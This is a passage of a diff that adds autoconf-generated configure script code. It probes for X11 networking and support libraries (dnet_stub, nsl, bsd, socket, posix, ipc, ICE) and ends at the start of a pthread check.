+char dnet_ntoa ();
+int
+main ()
+{
+dnet_ntoa ();
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext conftest$ac_exeext
+if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5
+  (eval $ac_link) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest$ac_exeext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  ac_cv_lib_dnet_stub_dnet_ntoa=yes
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_cv_lib_dnet_stub_dnet_ntoa=no
+fi
+rm -f conftest.err conftest.$ac_objext \
+      conftest$ac_exeext conftest.$ac_ext
+LIBS=$ac_check_lib_save_LIBS
+fi
+echo "$as_me:$LINENO: result: $ac_cv_lib_dnet_stub_dnet_ntoa" >&5
+echo "${ECHO_T}$ac_cv_lib_dnet_stub_dnet_ntoa" >&6
+if test $ac_cv_lib_dnet_stub_dnet_ntoa = yes; then
+  X_EXTRA_LIBS="$X_EXTRA_LIBS -ldnet_stub"
+fi
+
+    fi
+fi
+rm -f conftest.err conftest.$ac_objext \
+      conftest$ac_exeext conftest.$ac_ext
+    LIBS="$ac_xsave_LIBS"
+
+    # msh@cis.ufl.edu says -lnsl (and -lsocket) are needed for his 386/AT,
+    # to get the SysV transport functions.
+    # Chad R. Larson says the Pyramis MIS-ES running DC/OSx (SVR4)
+    # needs -lnsl.
+    # The nsl library prevents programs from opening the X display
+    # on Irix 5.2, according to T.E. Dickey.
+    # The functions gethostbyname, getservbyname, and inet_addr are
+    # in -lbsd on LynxOS 3.0.1/i386, according to Lars Hecking.
+    echo "$as_me:$LINENO: checking for gethostbyname" >&5
+echo $ECHO_N "checking for gethostbyname... $ECHO_C" >&6
+if test "${ac_cv_func_gethostbyname+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+/* Define gethostbyname to an innocuous variant, in case <limits.h> declares gethostbyname.
+   For example, HP-UX 11i <limits.h> declares gettimeofday.  */
+#define gethostbyname innocuous_gethostbyname
+
+/* System header to define __stub macros and hopefully few prototypes,
+    which can conflict with char gethostbyname (); below.
+    Prefer <limits.h> to <assert.h> if __STDC__ is defined, since
+    <limits.h> exists even on freestanding compilers.  */
+
+#ifdef __STDC__
+# include <limits.h>
+#else
+# include <assert.h>
+#endif
+
+#undef gethostbyname
+
+/* Override any gcc2 internal prototype to avoid an error.  */
+#ifdef __cplusplus
+extern "C"
+{
+#endif
+/* We use char because int might match the return type of a gcc2
+   builtin and then its argument prototype would still apply.  */
+char gethostbyname ();
+/* The GNU C library defines this for functions which it implements
+    to always fail with ENOSYS.  Some functions are actually named
+    something starting with __ and the normal name is an alias.  */
+#if defined (__stub_gethostbyname) || defined (__stub___gethostbyname)
+choke me
+#else
+char (*f) () = gethostbyname;
+#endif
+#ifdef __cplusplus
+}
+#endif
+
+int
+main ()
+{
+return f != gethostbyname;
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext conftest$ac_exeext
+if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5
+  (eval $ac_link) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest$ac_exeext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  ac_cv_func_gethostbyname=yes
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_cv_func_gethostbyname=no
+fi
+rm -f conftest.err conftest.$ac_objext \
+      conftest$ac_exeext conftest.$ac_ext
+fi
+echo "$as_me:$LINENO: result: $ac_cv_func_gethostbyname" >&5
+echo "${ECHO_T}$ac_cv_func_gethostbyname" >&6
+
+    if test $ac_cv_func_gethostbyname = no; then
+      echo "$as_me:$LINENO: checking for gethostbyname in -lnsl" >&5
+echo $ECHO_N "checking for gethostbyname in -lnsl... $ECHO_C" >&6
+if test "${ac_cv_lib_nsl_gethostbyname+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  ac_check_lib_save_LIBS=$LIBS
+LIBS="-lnsl  $LIBS"
+cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+
+/* Override any gcc2 internal prototype to avoid an error.  */
+#ifdef __cplusplus
+extern "C"
+#endif
+/* We use char because int might match the return type of a gcc2
+   builtin and then its argument prototype would still apply.  */
+char gethostbyname ();
+int
+main ()
+{
+gethostbyname ();
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext conftest$ac_exeext
+if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5
+  (eval $ac_link) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest$ac_exeext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  ac_cv_lib_nsl_gethostbyname=yes
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_cv_lib_nsl_gethostbyname=no
+fi
+rm -f conftest.err conftest.$ac_objext \
+      conftest$ac_exeext conftest.$ac_ext
+LIBS=$ac_check_lib_save_LIBS
+fi
+echo "$as_me:$LINENO: result: $ac_cv_lib_nsl_gethostbyname" >&5
+echo "${ECHO_T}$ac_cv_lib_nsl_gethostbyname" >&6
+if test $ac_cv_lib_nsl_gethostbyname = yes; then
+  X_EXTRA_LIBS="$X_EXTRA_LIBS -lnsl"
+fi
+
+      if test $ac_cv_lib_nsl_gethostbyname = no; then
+	echo "$as_me:$LINENO: checking for gethostbyname in -lbsd" >&5
+echo $ECHO_N "checking for gethostbyname in -lbsd... $ECHO_C" >&6
+if test "${ac_cv_lib_bsd_gethostbyname+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  ac_check_lib_save_LIBS=$LIBS
+LIBS="-lbsd  $LIBS"
+cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+
+/* Override any gcc2 internal prototype to avoid an error.  */
+#ifdef __cplusplus
+extern "C"
+#endif
+/* We use char because int might match the return type of a gcc2
+   builtin and then its argument prototype would still apply.  */
+char gethostbyname ();
+int
+main ()
+{
+gethostbyname ();
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext conftest$ac_exeext
+if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5
+  (eval $ac_link) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest$ac_exeext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  ac_cv_lib_bsd_gethostbyname=yes
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_cv_lib_bsd_gethostbyname=no
+fi
+rm -f conftest.err conftest.$ac_objext \
+      conftest$ac_exeext conftest.$ac_ext
+LIBS=$ac_check_lib_save_LIBS
+fi
+echo "$as_me:$LINENO: result: $ac_cv_lib_bsd_gethostbyname" >&5
+echo "${ECHO_T}$ac_cv_lib_bsd_gethostbyname" >&6
+if test $ac_cv_lib_bsd_gethostbyname = yes; then
+  X_EXTRA_LIBS="$X_EXTRA_LIBS -lbsd"
+fi
+
+      fi
+    fi
+
+    # lieder@skyler.mavd.honeywell.com says without -lsocket,
+    # socket/setsockopt and other routines are undefined under SCO ODT
+    # 2.0.  But -lsocket is broken on IRIX 5.2 (and is not necessary
+    # on later versions), says Simon Leinen: it contains gethostby*
+    # variants that don't use the name server (or something).  -lsocket
+    # must be given before -lnsl if both are needed.  We assume that
+    # if connect needs -lnsl, so does gethostbyname.
+    echo "$as_me:$LINENO: checking for connect" >&5
+echo $ECHO_N "checking for connect... $ECHO_C" >&6
+if test "${ac_cv_func_connect+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+/* Define connect to an innocuous variant, in case <limits.h> declares connect.
+   For example, HP-UX 11i <limits.h> declares gettimeofday.  */
+#define connect innocuous_connect
+
+/* System header to define __stub macros and hopefully few prototypes,
+    which can conflict with char connect (); below.
+    Prefer <limits.h> to <assert.h> if __STDC__ is defined, since
+    <limits.h> exists even on freestanding compilers.  */
+
+#ifdef __STDC__
+# include <limits.h>
+#else
+# include <assert.h>
+#endif
+
+#undef connect
+
+/* Override any gcc2 internal prototype to avoid an error.  */
+#ifdef __cplusplus
+extern "C"
+{
+#endif
+/* We use char because int might match the return type of a gcc2
+   builtin and then its argument prototype would still apply.  */
+char connect ();
+/* The GNU C library defines this for functions which it implements
+    to always fail with ENOSYS.  Some functions are actually named
+    something starting with __ and the normal name is an alias.  */
+#if defined (__stub_connect) || defined (__stub___connect)
+choke me
+#else
+char (*f) () = connect;
+#endif
+#ifdef __cplusplus
+}
+#endif
+
+int
+main ()
+{
+return f != connect;
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext conftest$ac_exeext
+if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5
+  (eval $ac_link) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest$ac_exeext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  ac_cv_func_connect=yes
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_cv_func_connect=no
+fi
+rm -f conftest.err conftest.$ac_objext \
+      conftest$ac_exeext conftest.$ac_ext
+fi
+echo "$as_me:$LINENO: result: $ac_cv_func_connect" >&5
+echo "${ECHO_T}$ac_cv_func_connect" >&6
+
+    if test $ac_cv_func_connect = no; then
+      echo "$as_me:$LINENO: checking for connect in -lsocket" >&5
+echo $ECHO_N "checking for connect in -lsocket... $ECHO_C" >&6
+if test "${ac_cv_lib_socket_connect+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  ac_check_lib_save_LIBS=$LIBS
+LIBS="-lsocket $X_EXTRA_LIBS $LIBS"
+cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+
+/* Override any gcc2 internal prototype to avoid an error.  */
+#ifdef __cplusplus
+extern "C"
+#endif
+/* We use char because int might match the return type of a gcc2
+   builtin and then its argument prototype would still apply.  */
+char connect ();
+int
+main ()
+{
+connect ();
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext conftest$ac_exeext
+if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5
+  (eval $ac_link) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest$ac_exeext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  ac_cv_lib_socket_connect=yes
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_cv_lib_socket_connect=no
+fi
+rm -f conftest.err conftest.$ac_objext \
+      conftest$ac_exeext conftest.$ac_ext
+LIBS=$ac_check_lib_save_LIBS
+fi
+echo "$as_me:$LINENO: result: $ac_cv_lib_socket_connect" >&5
+echo "${ECHO_T}$ac_cv_lib_socket_connect" >&6
+if test $ac_cv_lib_socket_connect = yes; then
+  X_EXTRA_LIBS="-lsocket $X_EXTRA_LIBS"
+fi
+
+    fi
+
+    # Guillermo Gomez says -lposix is necessary on A/UX.
+    echo "$as_me:$LINENO: checking for remove" >&5
+echo $ECHO_N "checking for remove... $ECHO_C" >&6
+if test "${ac_cv_func_remove+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+/* Define remove to an innocuous variant, in case <limits.h> declares remove.
+   For example, HP-UX 11i <limits.h> declares gettimeofday.  */
+#define remove innocuous_remove
+
+/* System header to define __stub macros and hopefully few prototypes,
+    which can conflict with char remove (); below.
+    Prefer <limits.h> to <assert.h> if __STDC__ is defined, since
+    <limits.h> exists even on freestanding compilers.  */
+
+#ifdef __STDC__
+# include <limits.h>
+#else
+# include <assert.h>
+#endif
+
+#undef remove
+
+/* Override any gcc2 internal prototype to avoid an error.  */
+#ifdef __cplusplus
+extern "C"
+{
+#endif
+/* We use char because int might match the return type of a gcc2
+   builtin and then its argument prototype would still apply.  */
+char remove ();
+/* The GNU C library defines this for functions which it implements
+    to always fail with ENOSYS.  Some functions are actually named
+    something starting with __ and the normal name is an alias.  */
+#if defined (__stub_remove) || defined (__stub___remove)
+choke me
+#else
+char (*f) () = remove;
+#endif
+#ifdef __cplusplus
+}
+#endif
+
+int
+main ()
+{
+return f != remove;
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext conftest$ac_exeext
+if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5
+  (eval $ac_link) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest$ac_exeext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  ac_cv_func_remove=yes
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_cv_func_remove=no
+fi
+rm -f conftest.err conftest.$ac_objext \
+      conftest$ac_exeext conftest.$ac_ext
+fi
+echo "$as_me:$LINENO: result: $ac_cv_func_remove" >&5
+echo "${ECHO_T}$ac_cv_func_remove" >&6
+
+    if test $ac_cv_func_remove = no; then
+      echo "$as_me:$LINENO: checking for remove in -lposix" >&5
+echo $ECHO_N "checking for remove in -lposix... $ECHO_C" >&6
+if test "${ac_cv_lib_posix_remove+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  ac_check_lib_save_LIBS=$LIBS
+LIBS="-lposix  $LIBS"
+cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+
+/* Override any gcc2 internal prototype to avoid an error.  */
+#ifdef __cplusplus
+extern "C"
+#endif
+/* We use char because int might match the return type of a gcc2
+   builtin and then its argument prototype would still apply.  */
+char remove ();
+int
+main ()
+{
+remove ();
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext conftest$ac_exeext
+if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5
+  (eval $ac_link) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest$ac_exeext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  ac_cv_lib_posix_remove=yes
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_cv_lib_posix_remove=no
+fi
+rm -f conftest.err conftest.$ac_objext \
+      conftest$ac_exeext conftest.$ac_ext
+LIBS=$ac_check_lib_save_LIBS
+fi
+echo "$as_me:$LINENO: result: $ac_cv_lib_posix_remove" >&5
+echo "${ECHO_T}$ac_cv_lib_posix_remove" >&6
+if test $ac_cv_lib_posix_remove = yes; then
+  X_EXTRA_LIBS="$X_EXTRA_LIBS -lposix"
+fi
+
+    fi
+
+    # BSDI BSD/OS 2.1 needs -lipc for XOpenDisplay.
+    echo "$as_me:$LINENO: checking for shmat" >&5
+echo $ECHO_N "checking for shmat... $ECHO_C" >&6
+if test "${ac_cv_func_shmat+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+/* Define shmat to an innocuous variant, in case <limits.h> declares shmat.
+   For example, HP-UX 11i <limits.h> declares gettimeofday.  */
+#define shmat innocuous_shmat
+
+/* System header to define __stub macros and hopefully few prototypes,
+    which can conflict with char shmat (); below.
+    Prefer <limits.h> to <assert.h> if __STDC__ is defined, since
+    <limits.h> exists even on freestanding compilers.  */
+
+#ifdef __STDC__
+# include <limits.h>
+#else
+# include <assert.h>
+#endif
+
+#undef shmat
+
+/* Override any gcc2 internal prototype to avoid an error.  */
+#ifdef __cplusplus
+extern "C"
+{
+#endif
+/* We use char because int might match the return type of a gcc2
+   builtin and then its argument prototype would still apply.  */
+char shmat ();
+/* The GNU C library defines this for functions which it implements
+    to always fail with ENOSYS.  Some functions are actually named
+    something starting with __ and the normal name is an alias.  */
+#if defined (__stub_shmat) || defined (__stub___shmat)
+choke me
+#else
+char (*f) () = shmat;
+#endif
+#ifdef __cplusplus
+}
+#endif
+
+int
+main ()
+{
+return f != shmat;
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext conftest$ac_exeext
+if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5
+  (eval $ac_link) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest$ac_exeext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  ac_cv_func_shmat=yes
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_cv_func_shmat=no
+fi
+rm -f conftest.err conftest.$ac_objext \
+      conftest$ac_exeext conftest.$ac_ext
+fi
+echo "$as_me:$LINENO: result: $ac_cv_func_shmat" >&5
+echo "${ECHO_T}$ac_cv_func_shmat" >&6
+
+    if test $ac_cv_func_shmat = no; then
+      echo "$as_me:$LINENO: checking for shmat in -lipc" >&5
+echo $ECHO_N "checking for shmat in -lipc... $ECHO_C" >&6
+if test "${ac_cv_lib_ipc_shmat+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  ac_check_lib_save_LIBS=$LIBS
+LIBS="-lipc  $LIBS"
+cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+
+/* Override any gcc2 internal prototype to avoid an error.  */
+#ifdef __cplusplus
+extern "C"
+#endif
+/* We use char because int might match the return type of a gcc2
+   builtin and then its argument prototype would still apply.  */
+char shmat ();
+int
+main ()
+{
+shmat ();
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext conftest$ac_exeext
+if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5
+  (eval $ac_link) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest$ac_exeext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  ac_cv_lib_ipc_shmat=yes
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_cv_lib_ipc_shmat=no
+fi
+rm -f conftest.err conftest.$ac_objext \
+      conftest$ac_exeext conftest.$ac_ext
+LIBS=$ac_check_lib_save_LIBS
+fi
+echo "$as_me:$LINENO: result: $ac_cv_lib_ipc_shmat" >&5
+echo "${ECHO_T}$ac_cv_lib_ipc_shmat" >&6
+if test $ac_cv_lib_ipc_shmat = yes; then
+  X_EXTRA_LIBS="$X_EXTRA_LIBS -lipc"
+fi
+
+    fi
+  fi
+
+  # Check for libraries that X11R6 Xt/Xaw programs need.
+  ac_save_LDFLAGS=$LDFLAGS
+  test -n "$x_libraries" && LDFLAGS="$LDFLAGS -L$x_libraries"
+  # SM needs ICE to (dynamically) link under SunOS 4.x (so we have to
+  # check for ICE first), but we must link in the order -lSM -lICE or
+  # we get undefined symbols.  So assume we have SM if we have ICE.
+  # These have to be linked with before -lX11, unlike the other
+  # libraries we check for below, so use a different variable.
+  # John Interrante, Karl Berry
+  echo "$as_me:$LINENO: checking for IceConnectionNumber in -lICE" >&5
+echo $ECHO_N "checking for IceConnectionNumber in -lICE... $ECHO_C" >&6
+if test "${ac_cv_lib_ICE_IceConnectionNumber+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  ac_check_lib_save_LIBS=$LIBS
+LIBS="-lICE $X_EXTRA_LIBS $LIBS"
+cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+
+/* Override any gcc2 internal prototype to avoid an error.  */
+#ifdef __cplusplus
+extern "C"
+#endif
+/* We use char because int might match the return type of a gcc2
+   builtin and then its argument prototype would still apply.  */
+char IceConnectionNumber ();
+int
+main ()
+{
+IceConnectionNumber ();
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext conftest$ac_exeext
+if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5
+  (eval $ac_link) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest$ac_exeext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  ac_cv_lib_ICE_IceConnectionNumber=yes
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_cv_lib_ICE_IceConnectionNumber=no
+fi
+rm -f conftest.err conftest.$ac_objext \
+      conftest$ac_exeext conftest.$ac_ext
+LIBS=$ac_check_lib_save_LIBS
+fi
+echo "$as_me:$LINENO: result: $ac_cv_lib_ICE_IceConnectionNumber" >&5
+echo "${ECHO_T}$ac_cv_lib_ICE_IceConnectionNumber" >&6
+if test $ac_cv_lib_ICE_IceConnectionNumber = yes; then
+  X_PRE_LIBS="$X_PRE_LIBS -lSM -lICE"
+fi
+
+  LDFLAGS=$ac_save_LDFLAGS
+
+fi
+
+
+
+
+
+
+ac_ext=c
+ac_cpp='$CPP $CPPFLAGS'
+ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
+ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
+ac_compiler_gnu=$ac_cv_c_compiler_gnu
+
+acx_pthread_ok=no
+
+# We used to check for pthread.h first, but this fails if pthread.h
+# requires special compiler flags (e.g. on True64 or Sequent).
